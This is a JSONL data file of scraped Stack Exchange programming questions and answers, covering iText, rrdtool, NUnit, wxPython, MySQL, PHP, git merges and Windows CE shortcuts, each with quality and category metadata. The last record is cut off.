{"id": "hf_73d180e81211", "question": "<p>I'd like to write some (java) code that takes a PDF document, and creates named destinations from all of the bookmarks. I think the iText API is the easiest way of doing this, but I have never used the API before.</p>\n\n<p>How would you go about writing this sort of code with the iText API?  Can iText do the parsing needed to manipulate existing PDFs by itself?  The kind of manipulations I am thinking of are: </p>\n\n<ul>\n<li>Open, </li>\n<li>Find bookmarks, </li>\n<li>Create destinations, </li>\n<li>Save, </li>\n<li>Close.</li>\n</ul>\n\n<p>Or is there a different API that would be better?</p>\n", "question_body": "", "answer": "I'll just warn you up front that you may be disappointed with this.  iText isn't really intended to be used as a parser.  It's really more for creating\nentirely new\nPDF documents, but you can take a whack at it.\nTo start, using iText, you won't be able to modify the existing PDF document.  What you\ncan\ndo, though, is to make a copy with the additional features that you want.  (If somebody else knows better,\nplease\nlet me know, this drives me crazy.)\nWhat you will want to do is create a PdfReader object from an input stream on your source file.  Then create a PdfCopy object (which is just an extended PdfWriter that makes getting data from an existing source more convenient) for your destination.\nAs far as I can tell, the bookmarks cannot be obtained from iText at all.  Another library may be needed.  I think\njpedal\nmay have the ability to extract them (it can get them as an XML document, which you may then have to parse to get what you want.)  However you get them, you can then add them to a java.util.List, and set that list as outline on the PDFCopy.  The bookmarks themselves are just HashMaps with a particular set of keys.  I'm not sure what all of the values are, but they include \"Title\", \"Action\" (which seems to be where you'd specify that this is a named destination, though I don't know what that value would be), and \"URI\" (which is used if this is an external link -- I suspect that this would specify the name of the named destination that you're linking to).  Again, the specifics are hard to find.\nThen iterate over the pages of the reader, importing each page to the PdfCopy.\nthis page\nmay help you.\nSorry I'm not more helpful to you.  Good luck.\nP.S.  If anybody else knows of a better tool that's either (L)GPL or BSD licensed, I'd love to hear about it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.819034"}
{"id": "hf_1ee3275c9c1d", "question": "<p>Am looking for C# open source NMEA parser.  </p>\n", "question_body": "", "answer": "Well, I'm not familiar with it myself, but some quick searches show one on\nCodeProject\n, which links to 2 other such,\nhere\nand\nhere\n. Any of those help?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.856441"}
{"id": "hf_e3efd8d47c5e", "question": "<p>I've got a \"little\" problem with Zend Framework Zend_Pdf class. Multibyte characters are stripped from generated pdf files. E.g. when I write aąbcčdeę it becomes abcd with lithuanian letters stripped.</p>\n\n<p>I'm not sure if it's particularly Zend_Pdf problem or php in general. </p>\n\n<p>Source text is encoded in utf-8, as well as the php source file which does the job.</p>\n\n<p>Thank you in advance for your help ;)</p>\n\n<p>P.S. I run Zend Framework v. 1.6 and I use FONT_TIMES_BOLD font. FONT_TIMES_ROMAN does work</p>\n", "question_body": "", "answer": "I believe Zend_Pdf got UTF-8 support in 1.5 - What version of Zend Framework are you running?\nAlso - what font are you trying to render with? Have you tried alternate fonts?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.891483"}
{"id": "hf_e67395d69db9", "question": "<p>I have some old rrdtool databases, for which the exact creation recipe has long been since lost. I need to create a new database with the same characteristics as the current ones. I've dumped a couple of old databases and pored over the contents but I'm not sure how to interpret the metadata. I think it appears in the following stanzas</p>\n\n<pre><code>&lt;cf&gt; AVERAGE &lt;/cf&gt;\n&lt;pdp_per_row&gt; 360 &lt;/pdp_per_row&gt; &lt;!-- 1800 seconds --&gt;\n&lt;xff&gt; 5.0000000000e-01 &lt;/xff&gt;\n</code></pre>\n\n<p>There are four such stanzas, which correspond to the way I recall the round-robin cascading was set up. Has anyone already done this, or can give me pointers as to how to clone a new empty rrd database from an existing one? Or show me where I missed this in the documentation.</p>\n", "question_body": "", "answer": "rrdtools'\nrrdinfo\nis your friend!\nIt will tell you how the rrd file's data source(s) and archive(s) were created.  Example\n```\n```\n$ rrdtool info random.rrd\nfilename = \"random.rrd\"\nrrd_version = \"0001\"\nstep = 300\nlast_update = 955892996\nds[a].type = \"GAUGE\"\nds[a].minimal_heartbeat = 600\nds[a].min = NaN\nds[a].max = NaN\nds[a].last_ds = \"UNKN\"\nds[a].value = 2.1824421548e+04\nds[a].unknown_sec = 0\nds[b].type = \"GAUGE\"\nds[b].minimal_heartbeat = 600\nds[b].min = NaN\nds[b].max = NaN\nds[b].last_ds = \"UNKN\"\nds[b].value = 3.9620838224e+03\nds[b].unknown_sec = 0\nrra[0].cf = \"AVERAGE\"\nrra[0].pdp_per_row = 1\nrra[0].cdp_prep[0].value = nan\nrra[0].cdp_prep[0].unknown_datapoints = 0\nrra[0].cdp_prep[1].value = nan\nrra[0].cdp_prep[1].unknown_datapoints = 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.927713"}
{"id": "hf_8ca811d9d0bd", "question": "<p>When the policy for a disk in Windows XP and Vista is set to enable write caching on the hard disk, is there a way to flush a file that has just been written, and ensure that it has been committed to disk?</p>\n\n<p>I want to do this programmatically in C++.</p>\n\n<p>Closing the file does perform a flush at the application level, but not at the operating system level.  If the power is removed from the PC after closing the file, but before the operating system has flushed the disk write cache, the file is lost, even though it was closed.</p>\n", "question_body": "", "answer": "You haven't specified the development environment, so:\n.Net\nIO streams have a\n```\n.Flush\n```\nmethod that does what you want.\nWin32 API\nThere is the\n```\nFlushFileBuffers\n```\ncall, which takes a file handle as argument.\nEDIT (based on a comment from the OA): FlushFileBuffers does not need administrative privileges; it does only if the handle passed to it is the handle for a volume, not for a single file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.951866"}
{"id": "hf_69ffe923464b", "question": "<p>I've tried to override WndProc, but no message show up on paste event.</p>\n\n<p>Then I tried to create custom filter and using method PreFilterMessage I was able to catch message with value 257 (KEYUP event), but that's not enough...</p>\n", "question_body": "", "answer": "Use:\n```\n```\nprotected override void OnKeyDown(KeyEventArgs e)\n {\n      if (e.KeyCode == Keys.V && e.Modifiers == Keys.Control)\n      {\n            MessageBox.Show(\"Hello world\");\n      }\n      base.OnKeyDown(e);\n  }\n```\n```\nMake sure your form KeyPreview = true.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.012189"}
{"id": "hf_19bd167406bc", "question": "<p>I am interested in seeing if I can improve the way we use NUnit in a Visual Studio solution containing 30+ projects.</p>\n\n<p>First, would you have one assembly of tests for every assembly in the solution, or would you try to keep the number of test assemblies down? I started off creating many test assemblies, but I think this is costing us a lot in terms of build time.</p>\n\n<p>Second, what strategy do you use for managing those tests that are long-running, or require special environment configuration? I would like to write an MSBuild script that automates the running of our unit tests, but it needs to skip over the tests that would take too long or would not work on the build machine.</p>\n", "question_body": "", "answer": "To answer your first question:\nYou can use\ncategories\nto keep everything organised in a single assembly if that's how you want to go. As to whether it would cut down on build time, I would hazard a guess at perhaps, I don't think it'd be a huge amount overall though.\nTo answer your second:\nYou can use\ncategories\nand the\n```\n[Explicit]\n```\nand\n```\n[Ignore]\n```\nattribute to tell NUnit which tests to run, and which tests you have to tell it to run before it will. You might also want to look at\n```\n[Platform]\n```\nor some of the other attributes, depending on what exactly your requirements on 'environment' are.\nFor instance, you could add an Explicit tag to all your long running tests. Then you would have to run these tests explicitly, NUnit won't run them automatically. Or add all these tests to a category, then when you run NUnit, tell it to explicitly not run that category.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.036206"}
{"id": "hf_0b5399207cd2", "question": "<p>I read that you could call JavaScript code from a Java Applet by calling</p>\n\n<pre><code>JApplet.getAppletContext().showDocument( \"javascript:alert('Hello World');\" );\n</code></pre>\n\n<p>However, when I do this i get the following error:</p>\n\n<pre><code>java.net.MalformedURLException: unknown protocol: javascript\n</code></pre>\n\n<p>How do I work around this?</p>\n", "question_body": "", "answer": "```\n```\ntry {\n        this.getAppletContext().showDocument(new URL(\"javascript:alert('hello world');\"));\n    }catch(Exception e) {\n        e.printStackTrace();\n    }\n```\n```\nWorks !!\nMaybe the browser does not have javascript enabled.. just a guess", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.060517"}
{"id": "hf_fe9f5b5de505", "question": "<p>In MSVC, <a href=\"http://msdn.microsoft.com/en-us/library/ms679297.aspx\" rel=\"noreferrer\">DebugBreak()</a> or <a href=\"http://msdn.microsoft.com/fr-fr/library/f408b4et.aspx\" rel=\"noreferrer\">__debugbreak</a> cause a debugger to break. On x86 it is equivalent to writing \"_asm int 3\", on x64 it is something different. When compiling with gcc (or any other standard compiler) I want to do a break into debugger, too. Is there a platform independent function or intrinsic? I saw the <a href=\"https://stackoverflow.com/questions/37299/xcode-equivalent-of-asm-int-3-debugbreak-halt\">XCode question</a> about that, but it doesn't seem portable enough.</p>\n\n<p>Sidenote: I mainly want to implement ASSERT with that, and I understand I can use assert() for that, but I also want to write DEBUG_BREAK or something into the code.</p>\n", "question_body": "", "answer": "What about defining a conditional macro based on #ifdef that expands to different constructs based on the current architecture or platform.\nSomething like:\n```\n```\n#ifdef _MSC_VER\n#define DEBUG_BREAK __debugbreak()\n#else\n...\n#endif\n```\n```\nThis would be expanded by the preprocessor the correct debugger break instruction based on the platform where the code is compiled. This way you always use\n```\nDEBUG_BREAK\n```\nin your code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.083715"}
{"id": "hf_4970d11392f5", "question": "<p>I only want a list of files that have been added (not ones that have been modified) since a certain date. Is there an easy way to do this?</p>\n\n<p><strong>Answer</strong>: Here's what ended up working for me, thanks guys!</p>\n\n<blockquote>\n  <p>svn log -v -r{2008-10-1}:HEAD svn://path.to.repo/ | grep \"^&nbsp;&nbsp;&nbsp;A\" | grep \".java\" | sort -u</p>\n</blockquote>\n", "question_body": "", "answer": "```\n```\nsvn log -v -r{2008-10-1}:HEAD | grep \"^   A\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.145686"}
{"id": "hf_7c9e8b9db028", "question": "<p><strong>Good day.</strong></p>\n\n<p>I have a program thats launches an external application. That external app has a right click sub menu on it which I need to disable. Is it possible (without modifying the external app) to disable the right click? Maybe permission or group policies and etc.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I wasn't sure I wanted to post as I don't have a huge amount of scope on the matter, but it's definatley possible.\nIf you have a handle to the application (if not you can get one) you can use that to disable right click within the application.\nhttp://www.codeguru.com/forum/showthread.php?t=190440\nhttp://support.microsoft.com/kb/318804\nseems like the most helpful links, it just goes on about how you should hook and then disregard\n```\nWM_RBUTTONDOWN\n```\nand\n```\nWM_RBUTTONUP\n```\n.\nI'll try and write up a better thing later with an example.\nMore links/edits\nThis link could be useful as it explains that you're going to need to use unmanaged c/c++ to hook using setWindowsHookEx.\nhttp://social.msdn.microsoft.com/Forums/en-US/clr/thread/8dd657b5-647b-443b-822d-ebe03ca4033c/\nHope this helps\n[EDIT]\nI think this can actually be done in a C# application completely. I will post a solution tonight\n[/EDIT]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.206721"}
{"id": "hf_a8427e943563", "question": "<p>I haven't found an answer elsewhere and this doesn't appear to have been asked yet on SO.</p>\n\n<p>When creating an event binding in wxPython, is it possible to pass additional arguments to the event? For example, this is the normal way:</p>\n\n<pre><code>b = wx.Button(self, 10, \"Default Button\", (20, 20))\n        self.Bind(wx.EVT_BUTTON, self.OnClick, b)\ndef OnClick(self, event):\n        self.log.write(\"Click! (%d)\\n\" % event.GetId())\n</code></pre>\n\n<p>But is it possible to have another argument passed to the method? Such that the method can tell if more than one widget is calling it but still return the same value? </p>\n\n<p>It would greatly reduce copy &amp; pasting the same code but with different callers.</p>\n", "question_body": "", "answer": "You can always use a lambda or another function to wrap up your method and pass another argument, not WX specific.\n```\n```\nb = wx.Button(self, 10, \"Default Button\", (20, 20))\n        self.Bind(wx.EVT_BUTTON, lambda event: self.OnClick(event, 'somevalue'), b)\ndef OnClick(self, event, somearg):\n        self.log.write(\"Click! (%d)\\n\" % event.GetId())\n```\n```\nIf you're out to reduce the amount of code to type, you might also try a little automatism like:\n```\n```\nclass foo(whateverwxobject):\n    def better_bind(self, type, instance, handler, *args, **kwargs):\n        self.Bind(type, lambda event: handler(event, *args, **kwargs), instance)\n\n    def __init__(self):\n        self.better_bind(wx.EVT_BUTTON, b, self.OnClick, 'somevalue')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.258278"}
{"id": "hf_c9773b160fff", "question": "<p>What is the easiest way to copy the all the values from a column in a table to another column in the same table?</p>\n", "question_body": "", "answer": "This script will update ALL values in the field1 with the values from the field2 in the corresponding row\n```\n```\nUPDATE table SET field1 = field2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.310159"}
{"id": "hf_9e7e790c464b", "question": "<p>Question says it all, really. \nMy application is a time tracker.  It's currently written as a spreadsheet, but there's just too much data and I would like to impose a bit more structure on it.  </p>\n\n<p><a href=\"http://sqlite.org/\" rel=\"nofollow noreferrer\">SQLite</a> seems like a neat way to go.<br>\nI would be open to other suggestions, too.  </p>\n", "question_body": "", "answer": "There are some providers available:\nhttp://sqlite.phxsoftware.com/\nhttp://sourceforge.net/projects/sqlite-dotnet2\nAnd you can get up and running in just three minutes according to this chap:\nhttp://www.mikeduncan.com/sqlite-on-dotnet-in-3-mins/\nUpdated Jan 5 2009:\nWe actually have this rolled out to our shared (partial trust) hosting environment and it works really well according to early customer feedback.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.370096"}
{"id": "hf_8a398200eb52", "question": "<p>I'd like to get comments from people who have used or evaluated Coverity for statically analysing Java-code. I know it's popular in C/C++ world, but is it worth spending the money for Java analysis or am I better off with PMD, Findbugs and other Open Source tools?</p>\n", "question_body": "", "answer": "I'll chip in with a somewhat relevant answer. I've used Klocwork for the both Java and C code. Klocwork is a close competitor of Coverity... cost-wise they are about the same ( look carefully, Klocwork looks cheaper until you actually buy what you need ), and feature-wise they fight back and forth.\nFor C/C++, it's great. For Java.... well, it helped find a lot of resource leaks ( #$@^#ing Java developers seem to forget that resources like file handles aren't garbage collected ), but it doesn't seem to find many \"critical\" bugs. It's probably because the language itself does help protect against some of the more basic but hard to find errors ( array overflows, pointer corruption, etc ).\nGet Coverity in to run a demo, they are more than happy to. See what sort of things they find.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.406558"}
{"id": "hf_988db80ba408", "question": "<p>If I safe an Array and reload it, is there a possibility to get the size if its unknown? \nThanks</p>\n", "question_body": "", "answer": "What do you mean by \"unknown\"? You can get the length of any java array with the length field.\n```\n```\nint[] myArray = deserializeSomeArray();\nint size = myArray.length;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.483904"}
{"id": "hf_06a8be681ae5", "question": "<p>A <code>TextBox</code> is set to <code>AutoPostback</code> as changing the value should cause a number of (display-only) fields to be recalculated and displayed.<br>\nThat works fine.</p>\n\n<p>However, when the field is tabbed out of, the focus briefly moves on to the next field, then disappears when the page is redrawn so there is no focus anywhere. </p>\n\n<p>I want the focus to be on the new field, not the textbox I've just changed.\nIs there a way to work out which field had the focus and force it to have it again when the page is redrawn? </p>\n", "question_body": "", "answer": "This is \"by design\". If you are using ASP.NET 2.0+ you can try calling the Focus method of your TextBox once the postback occurs (preferably in the TextChanged event of the TextBox).\nI am not sure if there is any built-in way to track focus but I found\nthis\narticle in CodeProject which should do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.507971"}
{"id": "hf_7dcd045c946b", "question": "<p>How can ALTER be used to drop a column in a MySQL table if that column exists? </p>\n\n<p>I know I can use <code>ALTER TABLE my_table DROP COLUMN my_column</code>, but that will throw an error if <code>my_column</code> does not exist. Is there alternative syntax for dropping the column conditionally?</p>\n\n<p>I'm using MySQL version 4.0.18.</p>\n", "question_body": "", "answer": "For MySQL, there is none:\nMySQL Feature Request\n.\nAllowing this is arguably a really bad idea, anyway:\n```\nIF EXISTS\n```\nindicates that you're running destructive operations on a database with (to you) unknown structure. There may be situations where this is acceptable for quick-and-dirty local work, but if you're tempted to run such a statement against production data (in a migration etc.), you're playing with fire.\nBut if you insist, it's not difficult to simply check for existence first in the client, or to catch the error.\nMariaDB also supports the following starting with 10.0.2:\n```\n```\nDROP [COLUMN] [IF EXISTS] col_name\n```\n```\ni. e.\n```\n```\nALTER TABLE my_table DROP IF EXISTS my_column;\n```\n```\nBut it's arguably a bad idea to rely on a non-standard feature supported by only one of several forks of MySQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.544735"}
{"id": "hf_5033897c78a5", "question": "<p>I want to output the function name each time it is called, I can easily copy and paste the function name, however I wondered if there was a shortcut that would do the job for me?</p>\n\n<p>At the moment I am doing:</p>\n\n<pre><code>SlideInfoHeader* lynxThreeFile::readSlideInfoHeader(QDataStream &amp; in)\n{\n    qDebug(\"lynxThreeFile::readSlideInfoHeader\");\n} \n</code></pre>\n\n<p>but what I want is something generic:</p>\n\n<pre><code>SlideInfoHeader* lynxThreeFile::readSlideInfoHeader(QDataStream &amp; in)\n{\n    qDebug(this.className() + \"::\" + this.functionName());\n}\n</code></pre>\n", "question_body": "", "answer": "\"\n```\n__FUNCTION__\n```\n\" is supported by both MSVC and GCC and should give you the information you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.569293"}
{"id": "hf_5e1762cbbdd2", "question": "<p>Given an SQLConnection object how can you get a schema for a single table?</p>\n<p>I seemed to be able to get the schema from a <code>DataSet</code> which I'd gotten from running a query, but all the schema info I could get from the connection seemed to be related to what tables were available and not the actual details on the tables.</p>\n", "question_body": "", "answer": "I think accessing the schema from the query (via GetSchemaTable) is the only way to do it. \nYou can run a query which returns no rows (select * from table where 1=2) if the schema is all you're interested in.\nYou should use the KeyInfo CommandBehaviour to execute the source query, as otherwise not all the information returned is guaranteed to be accurate\n```\n```\nCommand.ExecuteReader(CommandBehavior.KeyInfo)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.592998"}
{"id": "hf_516f28433f84", "question": "<p>Has anyone seen a good twin slider control for .Net (Win forms or WPF).</p>\n\n<p>I'm looking for something that will allow me to select a range from within a set so the first slider would be the start of the range and the second would be the end.</p>\n\n<p>I remember seeing a Swing double slider but it was 6 years ago and I can't for the life of me remember who made it. It was open source though.</p>\n", "question_body": "", "answer": "Devexpress have a good one:\nThe RangeTrackBarControl control extends the functionality provided by the TrackBarControl enabling end-users to select a range of values. Two sliders can be used to set the minimum and maximum values:\nalt text http://www.devexpress.com/Help/XtraEditors/img/RangeTrackBarControl.png\nyou can get them free from:\nhttp://www.devexpress.com/Products/Free/WebRegistration/\nhope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.628871"}
{"id": "hf_1753a1d3a8cd", "question": "<p>I'm trying to have my Struts2 app redirect to a generated URL. In this case, I want the URL to use the current date, or a date I looked up in a database. So <code>/section/document</code> becomes <code>/section/document/2008-10-06</code></p>\n\n<p>What's the best way to do this?</p>\n", "question_body": "", "answer": "I ended up subclassing Struts'\n```\nServletRedirectResult\n```\nand overriding it's\n```\ndoExecute()\n```\nmethod to do my logic before calling\n```\nsuper.doExecute()\n```\n. it looks like this:\n```\n```\npublic class AppendRedirectionResult extends ServletRedirectResult {\n   private DateFormat df = new SimpleDateFormat(\"yyyy-MM-dd\");\n\n  @Override\n  protected void doExecute(String finalLocation, ActionInvocation invocation) throws Exception {\n    String date = df.format(new Date());\n    String loc = \"/section/document/\"+date;\n    super.doExecute(loc, invocation);\n  }\n}\n```\n```\nI'm not sure if this is the best way to do it, but it works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.662903"}
{"id": "hf_64c3d84e5169", "question": "<p>I have a PHP script that needs to determine if it's been executed via the command-line or via HTTP, primarily for output-formatting purposes. What's the canonical way of doing this? I had thought it was to inspect <code>SERVER['argc']</code>, but it turns out this is populated, even when using the 'Apache 2.0 Handler' server API.</p>\n", "question_body": "", "answer": "I think\n```\n```\n$_SERVER['REMOTE_ADDR']\n```\n```\nwill not be populated from the CLI.\nAlso, all the HTTP_* keys in the $_SERVER superglobal won't be populated from the CLI, or do it the right way hop just mentioned :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.687066"}
{"id": "hf_811d41d55214", "question": "<p>This is a question you can read everywhere on the web with various answers:</p>\n\n<pre><code>$ext = end(explode('.', $filename));\n$ext = substr(strrchr($filename, '.'), 1);\n$ext = substr($filename, strrpos($filename, '.') + 1);\n$ext = preg_replace('/^.*\\.([^.]+)$/D', '$1', $filename);\n\n$exts = split(\"[/\\\\.]\", $filename);\n$n    = count($exts)-1;\n$ext  = $exts[$n];\n</code></pre>\n\n<p>etc.</p>\n\n<p>However, there is always \"the best way\" and it should be on Stack Overflow.</p>\n", "question_body": "", "answer": "```\npathinfo()\n```\n```\n```\n$path_info = pathinfo('/foo/bar/baz.bill');\n\necho $path_info['extension']; // \"bill\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.722963"}
{"id": "hf_71013be84496", "question": "<p>Besides open-sourcing your project and legislation, are there ways to prevent, or at least minimize the damages of code leaking outside your company/group?</p>\n\n<p>We obviously can't block Internet access (to prevent emailing the code) because programmer's need their references. We also can't block peripheral devices (USB, Firewire, etc.)</p>\n\n<p>The code matters most when it has some proprietary algorithms and in-house developed knowledge (as opposed to regular routine code to draw GUIs, connect to databases, etc.), but some applications (like accounting software and CRMs) are just that: complex collections of routine code that are simple to develop in principle, but will take years to write from scratch. This is where leaked code will come in handy to competitors.</p>\n\n<p>As far as I see it, preventing leakage relies almost entirely on human process. What do you think? What precautions and measures are you taking? And has code leakage affected you before?</p>\n", "question_body": "", "answer": "You can't stop it getting out. So two solutions - stop people wanting to hurt you, and have legal precautions. To stop people hating you treat them right (saying more is probably off topic for stack overflow).\nI'm not a lawyer, but to give yourself legal protection, if you believe in it, patent the ideas, put a copyright notice in the code, and make sure the contracts for your programmers specify carefully intellectual property rights.\nBut at the end of the day, the answer is run quicker than the competition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.759247"}
{"id": "hf_581ac5845f36", "question": "<p>Please consider this example class:</p>\n\n<pre><code>[Serializable]\npublic class SomeClass\n{\n    private DateTime _SomeDateTime;\n\n    public DateTime SomeDateTime\n    {\n        get { return _SomeDateTime; }\n        set { _SomeDateTime = value; }\n    }\n}\n</code></pre>\n\n<p>I would like to alter the serialization of any DateTime declared in the class according to my own rules. The members of this class will change frequently and I don't want to maintain a custom serializer for every change. Also I would like this behaviour to be inherited by subclasses and not code a custom serializer for every one. The serialization is being output by a web service. Thanks for any help!</p>\n", "question_body": "", "answer": "Have you thought about simply using a Nullable date time\n```\n```\npublic DateTime? SomeDateTime {get; set;}\n```\n```\nThis way you can actually have a null value as a legitimate value in your class. Typically you want to avoid custom serialization whenever possible. Once you do custom serialization such as implementing\nISerializable\n, then you are stuck with it, and all other derived classes are stuck with it.\nRemember what a pain in the butt it is to have to always override the ISerializable members for custom exceptions? This is because System.Exception implements ISerializable and therefore all derived exceptions (that means everything) must implement those members if you ever expect them to cross AppDomains.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.808116"}
{"id": "hf_55deca645c0d", "question": "<p>When merging topic branch &quot;B&quot; into &quot;A&quot; using <code>git merge</code>, I get some conflicts. I know all the conflicts can be solved using the version in &quot;B&quot;.</p>\n<p>I am aware of <code>git merge -s ours</code>. But what I want is something like <code>git merge -s theirs</code>.</p>\n<p>Why doesn't it exist? How can I achieve the same result after the conflicting merge with existing <code>git</code> commands? (<code>git checkout</code> every unmerged file from B)</p>\n<p>The &quot;solution&quot; of just discarding anything from branch A (the merge commit point to B version of the tree) is not what I am looking for.</p>\n", "question_body": "", "answer": "I solved my problem using\n```\n```\ngit checkout -m old\ngit checkout -b new B\ngit merge -s ours old\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:44.849217"}
{"id": "hf_afa0cb2b0fd3", "question": "<p>I have developed a Windows CE 4.2 Application in VS 2003. When i deploy the CAB file in the device having X86 has its processor, a short cut for the application is created in Start >> Program >> Application. But I want a short cut for the application on the \ndesktop.</p>\n\n<p>I modified the INF file to add a new shortcut that points to the desktop folder inside windows folder but it didn't work. Also, If i replace the default shortcut created when I build the CAB file with the location of desktop it still creates a short cut in the Programs and not on the desktop.</p>\n\n<p>Does anyone has a solution for this ?</p>\n", "question_body": "", "answer": "I would check out the link:\nhttp://msdn.microsoft.com/en-us/library/ms938387.aspx\nThat should get you well on your way. Basically shortcuts in CE are just ASCII files of the format:\n21#\\Windows\\solitare.exe\nWhere 21# is the number of characters in that path. Here's another link to MSDN with more info on that:\nhttp://msdn.microsoft.com/en-us/embedded/aa731295.aspx\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, 